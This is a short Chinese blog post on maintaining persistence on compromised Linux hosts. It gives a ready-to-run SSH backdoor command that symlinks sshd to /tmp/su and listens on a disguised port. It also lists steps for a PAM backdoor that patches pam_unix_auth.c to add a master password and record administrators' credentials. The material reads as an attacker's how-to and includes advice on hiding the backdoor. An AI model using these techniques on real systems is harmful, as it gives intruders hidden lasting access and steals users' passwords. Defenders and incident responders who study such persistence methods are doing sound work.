Linux权限维持

川长思鸟来 2024-02-27 04:23 59阅读 0赞

## SSH 后门 ##

**软链接sshd**

目标主机建立软连接：

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=1189

\#端口可以任意指定，最好伪装一下

![dd139343d5bc44f7814e570db83fe623.png][]

查看端口：

netstat -anlp|grep 1189

![23aeedf0e8cf4f03948cf32a5dd0ea92.png][]

攻击机ssh登录：

ssh root@x.x.x.x -p 1189

\#如果root用户被禁止登陆时，可以利用其他存在的用户身份登陆

![9ee69c2af1af46709540ee85f26f9f10.png][]

具体原理：[https://www.cnblogs.com/likaiming/p/11007919.html][https_www.cnblogs.com_likaiming_p_11007919.html]

## Linux PAM密码记录后门 ##

PAM(Pluggable Authentication Modules)，是由Sun提出的一种认证机制。它通过一共一些动态链接库和一套统一的API，将系统提供的服务和该服务的认证方式分开，使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序，同时也便于向系统中添加新的认证手段。

这种后门主要是通过pam\_unix\_auth.c打补丁的方式潜入到正常的pam模块中，以此来记录管理员的账号密码。其大致流程如下：

> 1.获取目标系统所使用的PAM版本，下载对应版本的pam版本  
> 2.解压缩，修改pam\_unix\_auth.c文件，添加万能密码  
> 3.编译安装PAM  
> 4.编译完后的文件在：modules/pam\_unix/.libs/pam\_unix.so，复制到/lib64/security中进行替换，即可使用万能密码登陆，并将用户名密码记录到文件中。

参考：

#### [Linux-PAM后门][Linux-PAM] ####

其他方法请参考：

[第4篇：Linux权限维持--后门篇 · 应急响应实战笔记][4_Linux_--_ _]

[Linux 下的权限维持 - V4ler1an][Linux _ - V4ler1an]

[dd139343d5bc44f7814e570db83fe623.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/27/4873672c454c4f8d94505e5a2a3c15f9.png
[23aeedf0e8cf4f03948cf32a5dd0ea92.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/27/28fc812f529d41d78a10170a24ff6943.png
[9ee69c2af1af46709540ee85f26f9f10.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/02/27/c91b917439084726841ff967202cfc98.png
[https_www.cnblogs.com_likaiming_p_11007919.html]: https://www.cnblogs.com/likaiming/p/11007919.html
[Linux-PAM]: https://mp.weixin.qq.com/s/IP96wN9AtSTGRqC2laS91A
[4_Linux_--_ _]: https://bypass007.github.io/Emergency-Response-Notes/privilege/%E7%AC%AC4%E7%AF%87%EF%BC%9ALinux%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81--%E5%90%8E%E9%97%A8%E7%AF%87.html
[Linux _ - V4ler1an]: https://www.v4ler1an.com/2020/12/backdoor/#6-linux-pam%E5%AF%86%E7%A0%81%E8%AE%B0%E5%BD%95%E5%90%8E%E9%97%A8%E6%96%87%E4%BB%B6%E8%90%BD%E5%9C%B0